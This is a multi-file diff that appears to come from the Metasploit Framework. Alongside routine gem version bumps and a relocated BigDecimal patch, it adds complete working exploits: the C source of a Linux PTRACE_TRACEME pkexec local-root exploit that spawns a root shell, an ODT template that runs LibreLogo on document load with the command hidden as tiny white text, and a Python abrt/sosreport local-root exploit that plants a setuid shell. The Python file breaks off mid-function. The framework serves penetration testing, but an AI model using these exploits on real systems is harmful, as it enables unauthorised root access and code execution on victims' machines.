 rails-deprecated_sanitizer, 1.0.3, MIT
 rails-dom-testing, 1.0.9, MIT
-rails-html-sanitizer, 1.0.4, MIT
+rails-html-sanitizer, 1.3.0, MIT
 railties, 4.2.11.1, MIT
-rake, 12.3.2, MIT
+rake, 13.0.1, MIT
 rb-readline, 0.5.5, BSD
-recog, 2.3.2, unknown
-redcarpet, 3.4.0, MIT
+recog, 2.3.6, unknown
+redcarpet, 3.5.0, MIT
 rex-arch, 0.1.13, "New BSD"
 rex-bin_tools, 0.1.6, "New BSD"
 rex-core, 0.1.13, "New BSD"
@@ -101,43 +101,43 @@ rex-java, 0.1.5, "New BSD"
 rex-mime, 0.1.5, "New BSD"
 rex-nop, 0.1.1, "New BSD"
 rex-ole, 0.1.6, "New BSD"
-rex-powershell, 0.1.82, "New BSD"
+rex-powershell, 0.1.83, "New BSD"
 rex-random_identifier, 0.1.4, "New BSD"
 rex-registry, 0.1.3, "New BSD"
 rex-rop_builder, 0.1.3, "New BSD"
-rex-socket, 0.1.17, "New BSD"
+rex-socket, 0.1.20, "New BSD"
 rex-sslscan, 0.1.5, "New BSD"
 rex-struct2, 0.1.2, "New BSD"
-rex-text, 0.2.21, "New BSD"
+rex-text, 0.2.24, "New BSD"
 rex-zip, 0.1.3, "New BSD"
 rkelly-remix, 0.0.7, MIT
-rspec, 3.8.0, MIT
-rspec-core, 3.8.2, MIT
-rspec-expectations, 3.8.4, MIT
-rspec-mocks, 3.8.1, MIT
-rspec-rails, 3.8.2, MIT
+rspec, 3.9.0, MIT
+rspec-core, 3.9.0, MIT
+rspec-expectations, 3.9.0, MIT
+rspec-mocks, 3.9.0, MIT
+rspec-rails, 3.9.0, MIT
 rspec-rerun, 1.1.0, MIT
-rspec-support, 3.8.2, MIT
+rspec-support, 3.9.0, MIT
 ruby-macho, 2.2.0, MIT
 ruby-rc4, 0.1.5, MIT
 ruby_smb, 1.1.0, "New BSD"
 rubyntlm, 0.6.2, MIT
-rubyzip, 1.2.3, "Simplified BSD"
+rubyzip, 2.0.0, "Simplified BSD"
 sawyer, 0.8.2, MIT
-simplecov, 0.17.0, MIT
+simplecov, 0.17.1, MIT
 simplecov-html, 0.10.2, MIT
 sinatra, 1.4.8, MIT
 sqlite3, 1.3.13, "New BSD"
 sshkey, 2.0.0, MIT
-swagger-blocks, 2.0.2, MIT
+swagger-blocks, 3.0.0, MIT
 thin, 1.7.2, "GPLv2+, Ruby 1.8"
 thor, 0.20.3, MIT
 thread_safe, 0.3.6, "Apache 2.0"
-tilt, 2.0.9, MIT
+tilt, 2.0.10, MIT
 timecop, 0.9.1, MIT
 ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
 tzinfo, 1.2.5, MIT
-tzinfo-data, 1.2019.2, MIT
+tzinfo-data, 1.2019.3, MIT
 warden, 1.2.7, MIT
 windows_error, 0.1.2, BSD
 xdr, 2.0.0, "Apache 2.0"
@@ -1,7 +1,7 @@
-Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
+Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
 ==
 The Metasploit Framework is released under a BSD-style license. See
-COPYING for more details.
+[COPYING](COPYING) for more details.

 The latest version of this software is available from: https://metasploit.com

@@ -1,3 +1,4 @@
+require File.expand_path('../rails_bigdecimal_fix', __FILE__)
 require 'rails'
 require File.expand_path('../boot', __FILE__)

@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
 msfenv_real_pathname = Pathname.new(__FILE__).realpath
 root = msfenv_real_pathname.parent.parent

+require File.expand_path('../rails_bigdecimal_fix', __FILE__)
+
 unless ENV['BUNDLE_GEMFILE']
  require 'pathname'

@@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE']
  end
 end

-# Remove bigdecimal warning - start
-# https://github.com/ruby/bigdecimal/pull/115
-# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
-# TODO: remove when upgrading from rails 4.x
-require 'bigdecimal'
-
-def BigDecimal.new(*args, **kwargs)
-  return BigDecimal(*args) if kwargs.empty?
-  BigDecimal(*args, **kwargs)
-end
-# Remove bigdecimal warning - end
-
 begin
  require 'bundler/setup'
 rescue LoadError => e
@@ -0,0 +1,11 @@
+# Remove bigdecimal warning - start
+# https://github.com/ruby/bigdecimal/pull/115
+# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
+# TODO: remove when upgrading from rails 4.x
+require 'bigdecimal'
+
+def BigDecimal.new(*args, **kwargs)
+  return BigDecimal(*args) if kwargs.empty?
+  BigDecimal(*args, **kwargs)
+end
+# Remove bigdecimal warning - end
@@ -0,0 +1,4 @@
+
+all:
+	x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
+
@@ -0,0 +1,464 @@
+// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
+// Uses pkexec technique
+// ---
+// Original discovery and exploit author: Jann Horn
+// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
+// ---
+// <bcoles@gmail.com>
+// - added known helper paths
+// - added search for suitable helpers
+// - added automatic targeting
+// - changed target suid executable from passwd to pkexec
+// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
+// ---
+// Tested on:
+// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
+// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
+// - Ubuntu 19.04 kernel 5.0.0-15-generic
+// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
+// - Linux Mint 17.3 kernel 4.4.0-89-generic
+// - Linux Mint 18.3 kernel 4.13.0-16-generic
+// - Linux Mint 19 kernel 4.15.0-20-generic
+// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
+// - ElementaryOS 0.4.1 4.8.0-52-generic
+// - Backbox 6 kernel 4.18.0-21-generic
+// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
+// - Kali kernel 4.19.0-kali5-amd64
+// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
+// - MX 18.3 kernel 4.19.37-2~mx17+1
+// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
+// - Debian 9.4.0 kernel 4.9.0-6-amd64
+// - Debian 10.0.0 kernel 4.19.0-5-amd64
+// - Devuan 2.0.0 kernel 4.9.0-6-amd64
+// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
+// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
+// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
+// - Mageia 6 kernel 4.9.35-desktop-1.mga6
+// - Antergos 18.7 kernel 4.17.6-1-ARCH
+// ---
+// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
+// user@linux-mint-19-2:~$ ./ptrace_traceme_root
+// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
+// [.] Checking environment ...
+// [~] Done, looks good
+// [.] Searching for known helpers ...
+// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
+// [.] Using helper: /usr/sbin/mate-power-backlight-helper
+// [.] Spawning suid process (/usr/bin/pkexec) ...
+// [.] Tracing midpid ...
+// [~] Attached to midpid
+// To run a command as administrator (user "root"), use "sudo <command>".
+// See "man sudo_root" for details.
+//
+// root@linux-mint-19-2:/home/user#
+// ---
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <stddef.h>
+#include <stdarg.h>
+#include <pwd.h>
+#include <sys/prctl.h>
+#include <sys/wait.h>
+#include <sys/ptrace.h>
+#include <sys/user.h>
+#include <sys/syscall.h>
+#include <sys/stat.h>
+#include <linux/elf.h>
+
+#define DEBUG
+
+#ifdef DEBUG
+#  define dprintf printf
+#else
+#  define dprintf
+#endif
+
+#define SAFE(expr) ({                   \
+  typeof(expr) __res = (expr);          \
+  if (__res == -1) {                    \
+    dprintf("[-] Error: %s\n", #expr);  \
+    return 0;                           \
+  }                                     \
+  __res;                                \
+})
+#define max(a,b) ((a)>(b) ? (a) : (b))
+
+/*
+ * execveat() syscall
+ * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
+ */
+#ifndef __NR_execveat
+#  define __NR_execveat 322
+#endif
+
+static const char *SHELL = "/bin/bash";
+
+static int middle_success = 1;
+static int block_pipe[2];
+static int self_fd = -1;
+static int dummy_status;
+static const char *helper_path;
+static const char *pkexec_path = "/usr/bin/pkexec";
+static const char *pkaction_path = "/usr/bin/pkaction";
+struct stat st;
+
+const char *helpers[1024];
+
+const char *known_helpers[] = {
+  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
+  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
+  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
+  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
+  "/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
+  "/usr/sbin/mate-power-backlight-helper",
+  "/usr/bin/xfpm-power-backlight-helper",
+  "/usr/bin/lxqt-backlight_backend",
+  "/usr/libexec/gsd-wacom-led-helper",
+  "/usr/libexec/gsd-wacom-oled-helper",
+  "/usr/libexec/gsd-backlight-helper",
+  "/usr/lib/gsd-backlight-helper",
+  "/usr/lib/gsd-wacom-led-helper",
+  "/usr/lib/gsd-wacom-oled-helper",
+};
+
+/* temporary printf; returned pointer is valid until next tprintf */
+static char *tprintf(char *fmt, ...) {
+  static char buf[10000];
+  va_list ap;
+  va_start(ap, fmt);
+  vsprintf(buf, fmt, ap);
+  va_end(ap);
+  return buf;
+}
+
+/*
+ * fork, execute pkexec in parent, force parent to trace our child process,
+ * execute suid executable (pkexec) in child.
+ */
+static int middle_main(void *dummy) {
+  prctl(PR_SET_PDEATHSIG, SIGKILL);
+  pid_t middle = getpid();
+
+  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
+
+  pid_t child = SAFE(fork());
+  if (child == 0) {
+    prctl(PR_SET_PDEATHSIG, SIGKILL);
+
+    SAFE(dup2(self_fd, 42));
+
+    /* spin until our parent becomes privileged (have to be fast here) */
+    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
+    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
+    while (1) {
+      char buf[1000];
+      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
+      buf[buflen] = '\0';
+      if (strstr(buf, needle)) break;
+    }
+
+    /*
+     * this is where the bug is triggered.
+     * while our parent is in the middle of pkexec, we force it to become our
+     * tracer, with pkexec's creds as ptracer_cred.
+     */
+    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
+
+    /*
+     * now we execute a suid executable (pkexec).
+     * Because the ptrace relationship is considered to be privileged,
+     * this is a proper suid execution despite the attached tracer,
+     * not a degraded one.
+     * at the end of execve(), this process receives a SIGTRAP from ptrace.
+     */
+    execl(pkexec_path, basename(pkexec_path), NULL);
+
+    dprintf("[-] execl: Executing suid executable failed");
+    exit(EXIT_FAILURE);
+  }
+
+  SAFE(dup2(self_fd, 0));
+  SAFE(dup2(block_pipe[1], 1));
+
+  /* execute pkexec as current user */
+  struct passwd *pw = getpwuid(getuid());
+  if (pw == NULL) {
+    dprintf("[-] getpwuid: Failed to retrieve username");
+    exit(EXIT_FAILURE);
+  }
+
+  middle_success = 1;
+  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
+        helper_path,
+        "--help", NULL);
+  middle_success = 0;
+  dprintf("[-] execl: Executing pkexec failed");
+  exit(EXIT_FAILURE);
+}
+
+/* ptrace pid and wait for signal */
+static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
+  struct user_regs_struct regs;
+  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
+  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
+  SAFE(waitpid(pid, &dummy_status, 0));
+  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
+
+  /* set up indirect arguments */
+  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
+  struct injected_page {
+    unsigned long argv[2];
+    unsigned long envv[1];
+    char arg0[8];
+    char path[1];
+  } ipage = {
+    .argv = { scratch_area + offsetof(struct injected_page, arg0) }
+  };
+  strcpy(ipage.arg0, arg0);
+  int i;
+  for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
+    unsigned long pdata = ((unsigned long *)&ipage)[i];
+    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
+                (void*)pdata));
+  }
+
+  /* execveat(exec_fd, path, argv, envv, flags) */
+  regs.orig_rax = __NR_execveat;
+  regs.rdi = exec_fd;
+  regs.rsi = scratch_area + offsetof(struct injected_page, path);
+  regs.rdx = scratch_area + offsetof(struct injected_page, argv);
+  regs.r10 = scratch_area + offsetof(struct injected_page, envv);
+  regs.r8 = AT_EMPTY_PATH;
+
+  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
+  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
+  SAFE(waitpid(pid, &dummy_status, 0));
+
+  return 0;
+}
+
+static int middle_stage2(void) {
+  /* our child is hanging in signal delivery from execve()'s SIGTRAP */
+  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
+  return force_exec_and_wait(child, 42, "stage3");
+}
+
+// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
+
+static int spawn_shell(void) {
+  SAFE(setresgid(0, 0, 0));
+  SAFE(setresuid(0, 0, 0));
+  execlp(SHELL, basename(SHELL), NULL);
+  dprintf("[-] execlp: Executing shell %s failed", SHELL);
+  exit(EXIT_FAILURE);
+}
+
+// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
+
+static int check_env(void) {
+  int warn = 0;
+  const char* xdg_session = getenv("XDG_SESSION_ID");
+
+  dprintf("[.] Checking environment ...\n");
+
+  if (stat(pkexec_path, &st) != 0) {
+    dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
+    exit(EXIT_FAILURE);
+  }
+  if (stat(pkaction_path, &st) != 0) {
+    dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
+    exit(EXIT_FAILURE);
+  }
+
+  if (stat("/dev/grsec", &st) == 0) {
+    dprintf("[-] Warning: grsec is in use\n");
+    warn++;
+  }
+  if (xdg_session == NULL) {
+    dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
+    warn++;
+  }
+  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
+    dprintf("[!] Warning: Could not find active PolKit agent\n");
+    warn++;
+  }
+  if (stat("/usr/sbin/getsebool", &st) == 0) {
+    if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
+      dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
+      warn++;
+    }
+  }
+
+  dprintf("[~] Done, looks good\n");
+
+  return warn;
+}
+
+/*
+ * Use pkaction to search PolKit policy actions for viable helper executables.
+ * Check each action for allow_active=yes, extract the associated helper path,
+ * and check the helper path exists.
+ */
+int find_helpers() {
+  char cmd[1024];
+  snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
+  FILE *fp;
+  fp = popen(cmd, "r");
+  if (fp == NULL) {
+    dprintf("[-] Failed to run: %s\n", cmd);
+    exit(EXIT_FAILURE);
+  }
+
+  char line[1024];
+  char buffer[2048];
+  int helper_index = 0;
+  int useful_action = 0;
+  static const char *needle = "org.freedesktop.policykit.exec.path -> ";
+  int needle_length = strlen(needle);
+
+  while (fgets(line, sizeof(line)-1, fp) != NULL) {
+    /* check the action uses allow_active=yes*/
+    if (strstr(line, "implicit active:")) {
+      if (strstr(line, "yes")) {
+        useful_action = 1;
+      }
+      continue;
+    }
+
+    if (useful_action == 0)
+      continue;
+    useful_action = 0;
+
+    /* extract the helper path */
+    int length = strlen(line);
+    char* found = memmem(&line[0], length, needle, needle_length);
+    if (found == NULL)
+      continue;
+
+    memset(buffer, 0, sizeof(buffer));
+    int i;
+    for (i = 0; found[needle_length + i] != '\n'; i++) {
+      if (i >= sizeof(buffer)-1)
+        continue;
+      buffer[i] = found[needle_length + i];
+    }
+
+    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
+      strstr(&buffer[0], "/cpugovctl") != 0 ||
+      strstr(&buffer[0], "/package-system-locked") != 0 ||
+      strstr(&buffer[0], "/cddistupgrader") != 0) {
+      dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
+      continue;
+    }
+
+    /* check the path exists */
+    if (stat(&buffer[0], &st) != 0)
+      continue;
+
+    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
+    helper_index++;
+
+    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
+      break;
+  }
+
+  pclose(fp);
+  return 0;
+}
+
+// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
+
+int ptrace_traceme_root() {
+  dprintf("[.] Using helper: %s\n", helper_path);
+
+  /*
+   * set up a pipe such that the next write to it will block: packet mode,
+   * limited to one packet
+   */
+  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
+  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
+  char dummy = 0;
+  SAFE(write(block_pipe[1], &dummy, 1));
+
+  /* spawn pkexec in a child, and continue here once our child is in execve() */
+  dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
+  static char middle_stack[1024*1024];
+  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
+                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
+  if (!middle_success) return 1;
+
+  /*
+   * wait for our child to go through both execve() calls (first pkexec, then
+   * the executable permitted by polkit policy).
+   */
+  while (1) {
+    int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
+    char buf[16];
+    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
+    buf[buflen] = '\0';
+    *strchrnul(buf, '\n') = '\0';
+    if (strncmp(buf, basename(helper_path), 15) == 0)
+      break;
+    usleep(100000);
+  }
+
+  /*
+   * our child should have gone through both the privileged execve() and the
+   * following execve() here
+   */
+  dprintf("[.] Tracing midpid ...\n");
+  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
+  SAFE(waitpid(midpid, &dummy_status, 0));
+  dprintf("[~] Attached to midpid\n");
+
+  force_exec_and_wait(midpid, 0, "stage2");
+  exit(EXIT_SUCCESS);
+}
+
+int main(int argc, char **argv) {
+  if (strcmp(argv[0], "stage2") == 0)
+    return middle_stage2();
+  if (strcmp(argv[0], "stage3") == 0)
+    return spawn_shell();
+
+  dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
+
+  check_env();
+
+  if (argc > 1 && strcmp(argv[1], "check") == 0) {
+    exit(0);
+  }
+
+  /* Search for known helpers defined in 'known_helpers' array */
+  dprintf("[.] Searching for known helpers ...\n");
+  int i;
+  for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
+    if (stat(known_helpers[i], &st) == 0) {
+      helper_path = known_helpers[i];
+      dprintf("[~] Found known helper: %s\n", helper_path);
+      ptrace_traceme_root();
+    }
+  }
+
+  /* Search polkit policies for helper executables */
+  dprintf("[.] Searching for useful helpers ...\n");
+  find_helpers();
+  for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
+    if (helpers[i] == NULL)
+      break;
+
+    if (stat(helpers[i], &st) == 0) {
+      helper_path = helpers[i];
+      ptrace_traceme_root();
+    }
+  }
+
+  return 0;
+}
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
+ <office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
+ <office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
+ <office:styles>
+  <style:default-style style:family="graphic">
+   <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
+   <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
+    <style:tab-stops/>
+   </style:paragraph-properties>
+   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
+  </style:default-style>
+  <style:default-style style:family="paragraph">
+   <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
+   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
+  </style:default-style>
+  <style:default-style style:family="table">
+   <style:table-properties table:border-model="collapsing"/>
+  </style:default-style>
+  <style:default-style style:family="table-row">
+   <style:table-row-properties fo:keep-together="auto"/>
+  </style:default-style>
+  <style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
+  <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
+   <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
+  </style:style>
+  <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
+   <style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
+  </style:style>
+  <style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
+ </office:styles>
+ <office:master-styles>
+  <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
+ </office:master-styles>
+ <office:body>
+  <office:text>
+  <text:p text:style-name="P8"><%= @cmd %></text:p>
+  <text:p text:style-name="Standard">#<%= text_content %></text:p>
+  </office:text>
+ </office:body>
+</office:document>
@@ -0,0 +1,114 @@
+#!/usr/bin/python
+# CVE-2015-5287 (?)
+# abrt/sosreport RHEL 7.0/7.1 local root
+# rebel 09/2015
+
+# [user@localhost ~]$ python sosreport-rhel7.py
+# crashing pid 19143
+# waiting for dump directory
+# dump directory:  /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
+# waiting for sosreport directory
+# sosreport:  sosreport-localhost.localdomain-20151130194114
+# waiting for tmpfiles
+# tmpfiles:  ['tmpurfpyY', 'tmpYnCfnQ']
+# moving directory
+# moving tmpfiles
+# tmpurfpyY -> tmpurfpyY.old
+# tmpYnCfnQ -> tmpYnCfnQ.old
+# waiting for sosreport to finish (can take several minutes)........................................done
+# success
+# bash-4.2# id
+# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
+# bash-4.2# cat /etc/redhat-release 
+# Red Hat Enterprise Linux Server release 7.1 (Maipo)
+
+import os,sys,glob,time,sys,socket
+
+payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
+
+pid = os.fork()
+
+if pid == 0:
+	os.execl("/usr/bin/sleep","sleep","100")
+
+time.sleep(0.5)
+
+print "crashing pid %d" % pid
+
+os.kill(pid,11)
+
+print "waiting for dump directory"
+
+def waitpath(p):
+	while 1:
+		r = glob.glob(p)
+		if len(r) > 0:
+			return r
+		time.sleep(0.05)	
+
+dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
+
+print "dump directory: ", dumpdir
+
+os.chdir(dumpdir)
+
+print "waiting for sosreport directory"
+
+sosreport = waitpath("sosreport-*")[0]
+
+print "sosreport: ", sosreport
+
+print "waiting for tmpfiles"
+tmpfiles = waitpath("tmp*")
+
+print "tmpfiles: ", tmpfiles
+
+print "moving directory"
+
+os.rename(sosreport, sosreport + ".old")
+os.mkdir(sosreport)
+os.chmod(sosreport,0777)
+
+os.mkdir(sosreport + "/sos_logs")
+os.chmod(sosreport + "/sos_logs",0777)
+
+os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
+os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
+
+print "moving tmpfiles"
+
+for x in tmpfiles:
+	print "%s -> %s" % (x,x + ".old")
+	os.rename(x, x + ".old")
+	open(x, "w+").write("/tmp/hax.sh\n")
+	os.chmod(x,0666)
+
+
+os.chdir("/")
+
+sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
+
+
+def trigger():
+	open("/tmp/hax.sh","w+").write(payload)
+	os.chmod("/tmp/hax.sh",0755)
+	try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
+	except: pass
+	time.sleep(0.5)
+	try:
+		os.stat("/tmp/sh")
+	except:
+		print "could not create suid"
+		sys.exit(-1)
+	print "success"
+	os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
+	sys.exit(-1)
+
